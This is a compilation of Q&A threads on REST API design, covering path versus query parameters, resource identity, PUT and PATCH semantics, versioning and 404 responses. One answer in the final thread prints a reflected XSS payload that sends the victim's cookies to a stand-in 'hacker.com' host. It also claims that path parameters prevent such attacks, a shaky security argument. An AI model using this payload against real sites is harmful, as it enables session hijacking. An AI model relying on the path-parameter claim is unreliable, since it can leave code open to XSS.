Multiple ways to identify a single resource in a RESTful API - rest

Imagine an HTTP REST API for retrieving the list of commits for a Git repository:
/:repository/:branch/commits
I would like to extend the API to allow to get information about a single commit, either by its identifier (SHA) or by some other criteria, like the last commit by time. This can be achieved in two different ways by using path or query parameters.
It's common to use URL parameters for the main resource identifiers:
/:repository/:branch/commits/:sha
Now the URL for the latest commit can be
/:repository/:branch/commits/latest
This will lead to the last URL component being treated either as a special identifier or as a commit SHA. This will work, if "latest" is not a valid commit identifier, but doesn't feel right: the same URL component has different role based on its value.
Another alternative is to use a query parameter:
/:repository/:branch/commits?latest or (?latest=true)
In this case identifying a commit by a SHA or by a different criteria is cleanly separated. /commits API endpoint becomes asymmetrical however: the response has different structure depending on query parameters present, a single object if the latest commit is requested, an array otherwise (e.g. without filtering or filtering by an author). Returning a single-object array for the latest commit doesn't feel right either.
None of the two approaches results in a consistent API. Is there another way which doesn't have the same drawbacks? Are there some concerns I haven't considered making one design preferable over another?

Multiple ways to identify a single resource in a RESTful API
It would be wise, I think, to review the source material on resources, see Fielding, 2000
A resource is a conceptual mapping to a set of entities....
For example, the "authors' preferred version" of an academic paper is a mapping whose value changes over time, whereas a mapping to "the paper published in the proceedings of conference X" is static. These are two distinct resources, even if they both map to the same value at some point in time. The distinction is necessary so that both resources can be identified and referenced independently. A similar example from software engineering is the separate identification of a version-controlled source code file when referring to the "latest revision", "revision number 1.2.7", or "revision included with the Orange release."
Conceptually, there is nothing wrong with having more than one identifier for the same resource
GET /f8b0440e-1d65-4800-9e79-ef01183062da
GET /80871fe0-c414-4ec0-b1b3-2c3f0521e2ab
but general purpose components are not going to have any way to know which identifiers reference a common resource, and which reference distinct resources. As a consequence, from the client's perspective, each unique identifier implies a unique resource.
For example, invalidating a cached representation stored using one identifier does not also invalidate representations that use other identifiers.
This will lead to the last URL component being treated either as a special identifier or as a commit SHA. This will work, if "latest" is not a valid commit identifier, but doesn't feel right: the same URL component has different role based on its value.
There's nothing wrong with the fact that the same URL component has a different role based on its value. You just add logic to distinguish the role -- fundamentally, this logic isn't any different from what you already used to get the request to the correct handler. We parse the URI, and use the data we have found to branch to the correct handler.
The fact that the information is ambiguous, on the other hand, means that we are going to have a miserable time trying to ensure that we return the correct representation.
The answer, of course, is to add hints to the URI so that the meaning is no longer ambiguous. You can do that via path segments or by modifying the query as you prefer.
In this case identifying a commit by a SHA or by a different criteria is cleanly separated. /commits API endpoint becomes asymmetrical however: the response has different structure depending on query parameters present, a single object if the latest commit is requested, an array otherwise (e.g. without filtering or filtering by an author).
Yes, and so what? The client doesn't care - it is just asking for a representation of the resource with a given identifier; how you achieve that is up to you. The code to produce the representations is completely unaffected. The only piece you need to add is a bit of logic to determine how your endpoint delegates the work to be done.
But, for example, if your goal is to choose resource identifiers so that the logical complexity can be hidden within your general purpose routing code, you might consider something like
/:repository/:branch/commits
/:repository/:branch/commits/:sha
/:repository/:branch/latest
or something like
/:repository/:branch/commits
/:repository/:branch/commits/sha?:sha
/:repository/:branch/commits/latest
or
/:repository/:branch/commits
/:repository/:branch/commits/sha=:sha
/:repository/:branch/commits/latest
or
/:repository/:branch/commits
/:repository/:branch/commits/sha/:sha
/:repository/:branch/commits/latest
These are all fine; you choose the spellings that best fit the constraints of your context (for instance, if you are expecting to use HTML forms to access your resources, you are going to be more interested in designs that use key value pairs in the query part).

I would choose following
For collection of resources (collection of commits)
/:repository/:branch/commits
For specific resource (specific commit hash)
/:repository/:branch/commits/:sha
Since "latest" is not specific (the result is varies depending on the time of request), and in fact is similar to "search" or "filter", for this purpose I would go with a query param:
/:repository/:branch/commits?latest=true

Related

REST API design: what is a unique operation or resource

Years ago I created a tiny web service that serves the same resource in two representations.
# returns a collection of Foos
GET /foo
# returns the same collection of Foos in a different JSON representation
GET /foo?projection=X with 'Accept: my-specific-media-type'
This works quite well in (Java) code as I can have two methods mapped to the same #Path both with different return types. One accepts a #QueryParam and #Consumes a specific media type while the other doesn't.
However, according to the (current) #ApiOperation Swagger annotation I opted for the wrong API design.
A combination of a HTTP method and a path creates a unique operation
Hence, after I upgraded my old project to current library versions the Swagger model only contains a single GET /foo operation - which one is random as it depends on runtime code introspection through Java reflections.
So, the question is this: is the Foo resource in a different representation effectively the "same" resource or is it a different resource? The Swagger annotation seems to hint at the latter (different resource -> different path).
Part of the problem that you are running into is a mix of REST concepts and Swagger/OpenAPI concepts.
Resource is a REST concept: "any concept that might be the target of an author's hypertext reference must fit within the definition of a resource"
Representation is a REST concept: "A representation is a sequence of bytes, plus representation metadata to describe those bytes."
Operations are an OpenAPI concept: "OpenAPI defines a unique operation as a combination of a path and an HTTP method."
There's a certain amount of tension here because the viewpoints aren't actually in alignment with each other.
For example, from the perspective of REST, there's no reason to document a "GET operation", because GET is part of the uniform interface - it has the same semantics no matter what value is used as the target-uri. That's a part of a key architectural constraint that makes the world wide web possible - consistent semantics means that we can use general purpose components (like web browsers) to interact with all of the different resources on the web.
is the Foo resource in a different representation effectively the "same" resource or is it a different resource?
"It depends".
A classic example of "one resource, different representations" would be a picture, where we might have a GIF, JPEG, PNG, BMP. Same picture (ish), but different sequences of bytes that need to be processed in different ways.
Similarly, you might have a web page (HTML), and also a text/plain representation, or a JSON representation, etc.
One of the important questions to ask: is a general purpose cache going to have the information necessary to return the "correct" representation for a request?
That said: given that your original design was using a query parameter to distinguish one projection from another, you should likely respect that instinct and continue to treat the different representations as belonging to different resources (meaning that general purpose caches will keep them completely separate).
Whether that means that you want to share the same path /foo (treating projection as an optional #ApiParam), or give each projection a different path (defining separate operations for each unique path) is less clear. In a brownfield project, my bias would be toward documenting what you already have, rather than making a bunch of breaking changes.
But it is certainly reasonable to treat "easy to document" as a design constraint.
So, the question is this: is the Foo resource in a different representation effectively the "same" resource or is it a different resource?
Fielding defined a resource as such:
The key abstraction of information in REST is a resource. Any information that can be named can be a resource: a document or image, a temporal service (e.g. "today's weather in Los Angeles"), a collection of other resources, a non-virtual object (e.g. a person), and so on. In other words, any concept that might be the target of an author's hypertext reference must fit within the definition of a resource. A resource is a conceptual mapping to a set of entities, not the entity that corresponds to the mapping at any particular point in time.
More precisely, a resource R is a temporally varying membership function MR(t), which for time t maps to a set of entities, or values, which are equivalent. The values in the set may be resource representations and/or resource identifiers. A resource can map to the empty set, which allows references to be made to a concept before any realization of that concept exists -- a notion that was foreign to most hypertext systems prior to the Web [61]. Some resources are static in the sense that, when examined at any time after their creation, they always correspond to the same value set. Others have a high degree of variance in their value over time. The only thing that is required to be static for a resource is the semantics of the mapping, since the semantics is what distinguishes one resource from another.
...
REST uses a resource identifier to identify the particular resource involved in an interaction between components. REST connectors provide a generic interface for accessing and manipulating the value set of a resource, regardless of how the membership function is defined or the type of software that is handling the request. The naming authority that assigned the resource identifier, making it possible to reference the resource, is responsible for maintaining the semantic validity of the mapping over time (i.e., ensuring that the membership function does not change). (Source)
In short, a resource is something that you give a name in order to reference it later on. This resource is a container for data. That data can be represented in plenty of ways. A representation is a concrete instance of the resource' data with respect to the media-type the representation was created for. The media-type itself defines the syntax and semantic of a concrete instance. I.e. HTML defines which attributes and elements are admissible within the payload and what these things express.
As REST shouldn't have typed "resources" meaningful to clients content type negotiation should be used. Here a client express its capabilities via the Accept header to the server and the server will chose a representation format that will suite the data the best. A well-behaved server will only chose among the suggested media types as it knows the client can handle the data. A non-well-behaved client will just ignore the header and send whatever it wants which eventually may prevent clients from being able to process the payload at all.
REST is all about decoupling of clients from servers and allowing the server side from evolving in future without breaking clients. This however is only possible if both use some kind of indirection. I.e. not the URI itself is the relevant thing in a payload but the link-relations that are attached to that URI. A link relation might be something like next, prev, first or last for a traversable collection or something like prefetch witch just states that the content of the annotated URI may be loaded once the client has loaded all other things and is currently IDLE as this content may be requested next with some likelihood. Such link relations are either standardized or should follow the extension mechanism defined in Web Linking.
In regards to your actual question. Think of an arbitrary product ABC1234. This product contains some properties such as its price, the current number of items in stock, some metadata describing the product and what not. These properties might be expressed in JSON, in XML or in HTML. Clients which are able to process these media-types will be able to create an "object" with the same properties with hardly any issues. The actual representation format used shouldn't have an influence on the actual data of the resource itself. After all, the representation format is just a mutually agreed way of exchanging the data between client and server in order to allow the recipient of the payload to process it in the same way the sender intended it initially.
As Fielding mentioned before, such a resource may be static or change over time. With the product example from above, the price may change over time, though this doesn't change the semantics of the actual product. Over time sometimes the same data that is present for a resource need to be made available as part of an other resource. This is totally fine and here things start to get a bit more interesting. As part of a company merger one of our clients needed to expose all of their items with different names. In their case they opted for providing both product names for a year simultaneously. By definition these would be two different resources to an arbitrary HTTP client, i.e ABC1234 and XYZ12345 even though they "represent" the data of the same real-live product. They could also have opted for using (permanent) redirection of clients to the "new" URI and therefore hint clients that the product is actually the same.
The resource per name (or URI) concept is also noticable if you take a look at how caching works in the HTTP ecosystem. Here the effective request URI is used as cache-key in order to look up whether for the requested URI already a stored response is present. Any unsafe operation performed on that URI will lead to an eviction of that stored response. This is i.e. one of the reasons why HTTP isn't meant for batch-operations as these may bypass the cache at all and lead to wrong and/or misleading results.
Years ago I created a tiny web service that serves the same resource in two representations.
GET /foo # returns a collection of Foos
GET /foo?projection=X # returns a collection of Foos in a different coordinate system i.e. different representation
According to how HTTP defines effective request URIs these two URIs would target two different resources actually, event though they express the same data just with different representations. A probably better approach would have been to expose just /foo and use either specialized media-types for the different coordinate systems or even better a media-type that supports profiles and hint the recipients processor via the profile attribute which "kind of" data it receives. Link relations, as mentioned above, also define a profile relation name that can be used to allow a client to chose between the URI returning "metric" or "imperial", "Kelvin", "Fahrenheit" or "Celsius" or similar measurement figures or the like.
So, long story short, loosely speeking the absolut URI, including matrix, query and path parameters, is what "names" a resource at an arbitrary client. The whole URI is the identifier of that resource after all. Slightly different names might result in local or intermediary cache misses and therefore indicate a different resource, even though the data expressed is the same as before. Instead of using two slighly different URIs redirection directives, content type negotiation or profiles on the same resource can be used to "get rid" of the sibling "resource" that only differ in different representation formats returned.

REST Best practise for filtering and knowing the result is singular: List or single?

Variety of REST practises suggest (i.e. 1, 2, 3) to use plurals in your endpoints and the result is always a list of objects, unless it's filtered by a specific value, such as /users/123 Query parameters are used to filter the list, but still result in a list, nevertheless. I want to know if my case should 'abandon' those best practices.
Let's use cars for my example below.
I've got a database full of cars and each one has a BuildNumber ("Id"), but also a model and build year which combination is unique. If I then query for /cars/ and search for a specific model and year, for example /cars?model=golf&year=2018 I know, according to my previous sentence, my retrieve will always contain a single object, never multiple. My result, however, will still be a list, containing just one object, nevertheless.
In such case, what will be the best practise as the above would mean the object have to be extracted from the list, even though a single object could've been returned instead.
Stick to best practises and export a list
Make a second endpoind /car/ and use the query parameters ?model=golf&year=2018, which are primarily used for filtering in a list, and have the result be a single object, as the singular endpoint states
The reason that I'm asking this is simply for the cleanness of the action: I'm 100% sure my GET request will result in single object, but still have to perform actions to extract it from the list. These steps should've been unnecessary. Aside of that, In my case I don't know the unique identifier, so cars/123 for retrieving a specific car isn't an option. I know, however, filters that will result in one object and one specific object altogether. The additional steps simply feel redundant.
1: https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design
2: https://blog.mwaysolutions.com/2014/06/05/10-best-practices-for-better-restful-api/
3: https://medium.com/hashmapinc/rest-good-practices-for-api-design-881439796dc9
As you've specifically asked for best practices in regards to REST:
REST doesn't care how you specify your URIs or that semantically meaningful tokens are used inside the URI at all. Further, a client should never expect a certain URI to return a certain type but instead rely on content-type negotiation to tell the server all of the capabilities the client supports.
You should furthermore not think of REST in terms of object orientation but more in terms of affordance and statemachines where a client get served every information needed in order to make an educated decision on what to do next.
The best sample to give here is probably to take a close look at the Web and how it's done for HTML pages. How can you filter for a specific car and how it will be presented to you? The same concepts that are used in the Web also apply to REST as both use the same interaction model. In regards to your car sample, the API should initially return some control-structures that teach a client how a request needs to be formed and what options could be filtered for. In HTML this is done via forms. For non-HTML based REST APIs dedicated media-types should be defined that translate the same approach to non-HTML structures. On sending the request to the server, your client would include all of the supported media-types it supports in an Accept HTTP header, which informs the server about the capabilities of the client. Media-types are just human-readable specification on how to process payloads of such types. Such specifications may include hints on type information a link relation might return. In order to gain wide-usage of media-types they should be defined as generic as possible. Instead of defining a media-type specific for a car, which is possible, it probably would be more convenient to use an existing or define a new general data-container format (similar to HTML).
All of the steps mentioned here should help you to design and implement an API that is free to evolve without having to risk to break clients, that furthermore is also scalable and minimizes interoperability concerns.
Unfortunately your question targets something totally different IMO, something more related to RPC. You basically invoke a generic method via HTTP on an endpoint, similar like SOAP, RMI or CORBA work. Whether you respect the semantics of HTTP operations or not is only of sub-interest here. Even if you'd reached level 3 of the Richardson Maturity Model (RMM) it does not mean that you are compliant to REST. Your client might still break if the server changes anything within the response. The RMM further doesn't even consider media-types at all, hence I consider it as rather useless.
However, regardless if you use a (true) REST or RPC/CRUD client, if retrieving single items is your preference instead of feeding them into a collection you should consider to include the URI of the items of interest instead of its data directly into the collection, as Evert also has suggested. While most people seem to be concerned on server performance and round-trip-times, it actually is very elegant in terms of caching. Further certain link-relation names such as prefetch may inform the client that it may fetch the targets payload early as it is highly possible that it's content will be requested next. Through caching a request might not even have to be triggered or sent to the server for processing, which is probably the best performance gain you can achieve.
1) If you use query like cars/where... - use CARS
2) If you whant CAR - make method GetCarById
You might not get a perfect answer to this, because all are going to be a bit subjective and often in a different way.
My general thought about this is that every item in my system will have its own unique url, for example /cars/1234. That case is always singular.
But this specific item might appear as a member in collections and search results. When /cars/1234 apears in these, they will always appear as a list with 1 item (or 0 or more depending on the query).
I feel that this is ultimately the most predictable.
In my case though, if a car appears as a member of a search or colletion, it's 'true url' will still be displayed.

REST API Design - Resource relationships and Idempotency of a PUT request: What, exactly, is meant by a full resource representation?

I understand that for partial updates, an action must be taken that is not idempotent. To that end, a valid approach is to make a POST request to that resource.
I have a question though about related resources. For example imagine the following resources with their properties:
Accounts
Id
Name
Account #
Users (a collection)
Users
Id
Name
Now imagine I want to make a partial update to an Account - for example, to change the Account's name.
I could make the following request as a valid partial update:
POST /account/id/123
{
"name" : "My New Name"
}
My question is regarding a full PUT request which must be idempotent and must include a full representation of the resource.
Could I do the following as a valid idempotent request?
PUT /account/id/123
{
"name" : "My New Name",
"accountNumber" : "654-345-4323"
}
Is that considered a valid, idempotent action? I've included all the top level "Account" information, but I question it because I didn't post all the USERS that belong to the account as well.
In order to be a valid idempotent request, would I need to include all of it's sub resources as well in the PUT request?
An easier way to understand is to consider that the PUT method ignores the current state of the target resource, so a "full resource representation" means that it must have all data needed to replace the existent resource with a new one.
In your example, that could be a valid full representation for an account with no users.
It's fine for the server to assume default values when something is missing, but that should be documented properly as some users might confuse with a partial update.
If you want to design the PUT request as the full resource replacement, then this means that you need also to assign values to all the assignable (editable) properties of a resource, including the relations (links) of a resource. Otherwise, the properties which are not set are considered as being set to null.
For partial requests, you can use PATCH HTTP method. There is also a convention of PUT if your resource representation is simple enough to allow that, that you can use partial updates.
PATCH vs. PUT
Quoting:
PATCH vs. PUT
The HTTP RFC specifies that PUT must take a full new resource
representation as the request entity. This means that if for example
only certain attributes are provided, those should be remove (i.e. set
to null).
An additional method called PATCH has been proposed recently. The
semantics of this call are like PUT inthat it updates a resource, but
unlike PUT, it applies a delta rather than replacing the entire
resource. At the time of writing, PATCH was still a proposed standard
waiting final approval.
For simple resource representations, the difference is often not
important, and many APIs simply implement PUT as a synonym for PATCH.
This usually doesn’t give any problems because it is not very common
that you need to set an attribute to null, and if you need to, you can
always explicitly include it.
However for more complex representations, especially including lists,
it becomes very important to be able to express accurately the changes
you want to make. Therefore, it is my recommendation now to both
provide PATCH and PUT, and make PATCH do an relative update and have
PUT replace the entire resource.
It is important to realize that the request entity to PATCH is of a
different content-type that the entity that it is modifying. Instead
of being a full resource, it is a resource that describes
modifications to be made to a resource. For a JSON data model, which
is what this essay is advocating, I believe that there are two
sensible ways to define the patch format.
An informal approach where you accept a dict with a partial
representation of the object. Only attributes that are present are
updated. Attributes that are not present are left alone. This approach
is simple, but it has the drawback that if the resource has a complex
internal structure e.g. containing a big list of dicts, then that
entire list of dicts need to be given in the entity. Effectively PATCH
becomes similar to PUT again.
A more formal approach would be to
accept a list of modifications. Each modification can be a dict
specifying the JSON path of the node to modify, the modification
(‘add’, ‘remove’, ‘change’) and the new value.

Accessing versions/revisions of an object in a RESTful API

While designing a RESTful API we came across the problem of how to access different versions of the "same object". Let us say a page object is identified by a unique key and accessed by GET /api/page/pagekey. It can be updated by sending PUT /api/page/pagekey and an appropriate document in the body.
Now our system keeps track of old versions of the page, that we also want to access via the API. Let us assume that an older version of the document is version 1. There seem to be at least two ways to design the API to access this particular version of the page:
GET /api/page/pagekey/1
GET /api/page/pagekey?version=1
The first variant renders the particular version as its own resource; the second variant gives the existing resource an optional version context.
Is variant (1) or (2) a better solution? Or is there an even better way to do it?
In variant (1) a request for a version number that does not exist e.g. /api/page/pagekey/7 could trigger a HTTP 404 Not Found, which is quit handy. Would this also be a valid status response when considering variant (2), where we only change the context "version" of the existing resource, that would without the version parameter return a HTTP 200 Ok response?
Each resource url should be a permalink to identify that resource.
GET /api/page/{id}/{rev}
That certainly is a permalink to a specific version of the resource. So, that's fine. But note that the permalink does not require the content to be the same over time:
GET /api/page/{id}
That will return the latest revision which is fine and will change contents over time. To expand on that, you can even have temporal resources like this and be RESTful:
GET /api/page/latest
But, /api/page/{id}?version={rev} will also work and doesn't break any RESTful concepts.
I think the /{id}/{rev} is a bit purer since it specifically identifies that resource in the addressable url and feels a little more correct than putting making it a param. The reason is the params should be modifiers on how to retrieve the contents and not necessarily mutate the distinct resource you're retrieving. In your case, since each version is distinct, it seems more appropriate to distinctly address the resource. But, even that one doesn't break any RESTful url rules or concepts and if you asked 10 folks you might get a different answer :)
Either way, you should likely ensure the temporal resource /api/page/{id} returns the latest revision.
Almost by definition, REST will have no notion of "same object". If you need this in your protocol, then you'll need to have some kind of "identifier". As simple as that ;)
A URL parameter is one obvious way to go. "/1" or "?version=1" are certainly two good alternatives - which you choose is just a matter of preference (as well as a question of how much "other stuff" you might also want).
Either way, you're still going to have to cope with "version not found" kinds of errors, and recover gracefully.
IMHO...

Querystring in REST Resource url

I had a discussion with a colleague today around using query strings in REST URLs. Take these 2 examples:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
My stance was the URLs should be designed as in example 1. This is cleaner and what I think is correct within REST. In my eyes you would be completely correct to return a 404 error from example 1 if the product code did not exist whereas with example 2 returning a 404 would be wrong as the page should exist. His stance was it didn't really matter and that they both do the same thing.
As neither of us were able to find concrete evidence (admittedly my search was not extensive) I would like to know other people's opinions on this.
There is no difference between the two URIs from the perspective of the client. URIs are opaque to the client. Use whichever maps more cleanly into your server side infrastructure.
As far as REST is concerned there is absolutely no difference. I believe the reason why so many people do believe that it is only the path component that identifies the resource is because of the following line in RFC 2396
The query component is a string of
information to be interpreted by the
resource.
This line was later changed in RFC 3986 to be:
The query component contains
non-hierarchical data that, along with
data in the path component (Section
3.3), serves to identify a resource
IMHO this means both query string and path segment are functionally equivalent when it comes to identifying a resource.
Update to address Steve's comment.
Forgive me if I object to the adjective "cleaner". It is just way too subjective. You do have a point though that I missed a significant part of the question.
I think the answer to whether to return 404 depends on what the resource is that is being retrieved. Is it a representation of a search result, or is it a representation of a product? To know this you really need to look at the link relation that led us to the URL.
If the URL is supposed to return a Product representation then a 404 should be returned if the code does not exist. If the URL returns a search result then it shouldn't return a 404.
The end result is that what the URL looks like is not the determining factor. Having said that, it is convention that query strings are used to return search results so it is more intuitive to use that style of URL when you don't want to return 404s.
In typical REST API's, example #1 is more correct. Resources are represented as URI and #1 does that more. Returning a 404 when the product code is not found is absolutely the correct behavior. Having said that, I would modify #1 slightly to be a little more expressive like this:
http://localhost/products/code/4xheaua
Look at other well-designed REST APIs - for example, look at StackOverflow. You have:
stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663
These are all different ways of getting at "questions".
There are two use cases for GET
Get a uniquely identified resource
Search for resource(s) based on given criteria
Use Case 1 Example:
/products/4xxheua
Get a uniquely identified product, returns 404 if not found.
Use Case 2 Example:
/products?size=large&color=red
Search for a product, returns list of matching products (0 to many).
If we look at say the Google Maps API we can see they use a query string for search.
e.g.
http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
So both styles are valid for their own use cases.
IMO the path component should always state what you want to retrieve. An URL like http://localhost/findbyproductcode does only say I want to retrieve something by product code, but what exactly?
So you retrieve contacts with http://localhost/contacts and users with http://localhost/users. The query string is only used for retrieving a subset of such a list based on resource attributes. The only exception to this is when this subset is reduced to one record based on the primary key, then you use something like http://localhost/contact/[primary_key].
That's my approach, your mileage may vary :)
The way I think of it, URI path defines the resource, while optional querystrings supply user-defined information. So
https://domain.com/products/42
identifies a particular product while
https://domain.com/products?price=under+5
might search for products under $5.
I disagree with those who said using querystrings to identify a resource is consistent with REST. Big part of REST is creating an API that imitates a static hierarchical file system (without literally needing such a system on the backend)--this makes for intuitive, semantic resource identifiers. Querystrings break this hierarchy. For example watches are an accessory that have accessories. In the REST style it's pretty clear what
https://domain.com/accessories/watches
and
https://domain.com/watches/accessories
each refer to. With querystrings,
https://domain.com?product=watches&category=accessories
is not not very clear.
At the very least, the REST style is better than querystrings because it requires roughly half as much information since strong-ordering of parameters allows us to ditch the parameter names.
The ending of those two URIs is not very significant RESTfully.
However, the 'findbyproductcode' portion could certainly be more restful. Why not just
http://localhost/product/4xxheau ?
In my limited experience, if you have a unique identifier then it would look clean to construct the URI like .../product/{id}
However, if product code is not unique, then I might design it more like #2.
However, as Darrel has observed, the client should not care what the URI looks like.
This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).
(Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)
The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.
http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**
Whereas this attack will be successful by using a QueryParam!
http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
The query string is unavoidable in many practical senses.... Consider what would happen if the search allowed multiple (optional) fields to all ve specified. In the first form, their positions in the hierarchy would have to be fixed and padded...
Imagine coding a general SQL "where clause" in that format....However as a query string, it is quite simple.
By the REST client the URI structure does not matter, because it follows links annotated with semantics, and never parses the URI.
By the developer who writes the routing logic and the link generation logic, and probably want to understand log by checking the URLs the URI structure does matter. By REST we map URIs to resources and not to operations - Fielding dissertation / uniform interface / identification of resources.
So both URI structures are probably flawed, because they contain verbs in their current format.
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
You can remove find from the URIs this way:
1. /products/code:4xxheua
2. /products?code="4xxheua"
From a REST perspective it does not matter which one you choose.
You can define your own naming convention, for example: "by reducing the collection to a single resource using an unique identifier, the unique identifier must be always part of the path and not the query". This is just the same what the URI standard states: the path is hierarchical, the query is non-hierarchical. So I would use /products/code:4xxheua.
Philosophically speaking, pages do not "exist". When you put books or papers on your bookshelf, they stay there. They have some separate existence on that shelf. However, a page exists only so long as it is hosted on some computer that is turned on and able to provide it on demand. The page can, of course, be always generated on the fly, so it doesn't need to have any special existence prior to your request.
Now think about it from the point of view of the server. Let's assume it is, say, properly configured Apache --- not a one-line python server just mapping all requests to the file system. Then the particular path specified in the URL may have nothing to do with the location of a particular file in the filesystem. So, once again, a page does not "exist" in any clear sense. Perhaps you request http://some.url/products/intel.html, and you get a page; then you request http://some.url/products/bigmac.html, and you see nothing. It doesn't mean that there is one file but not the other. You may not have permissions to access the other file, so the server returns 404, or perhaps bigmac.html was to be served from a remote Mc'Donalds server, which is temporarily down.
What I am trying to explain is, 404 is just a number. There is nothing special about it: it could have been 40404 or -2349.23847, we've just agreed to use 404. It means that the server is there, it communicates with you, it probably understood what you wanted, and it has nothing to give back to you. If you think it is appropriate to return 404 for http://some.url/products/bigmac.html when the server decides not to serve the file for whatever reason, then you might as well agree to return 404 for http://some.url/products?id=bigmac.
Now, if you want to be helpful for users with a browser who are trying to manually edit the URL, you might redirect them to a page with the list of all products and some search capabilities instead of just giving them a 404 --- or you can give a 404 as a code and a link to all products. But then, you can do the same thing with http://some.url/products/bigmac.html: automatically redirect to a page with all products.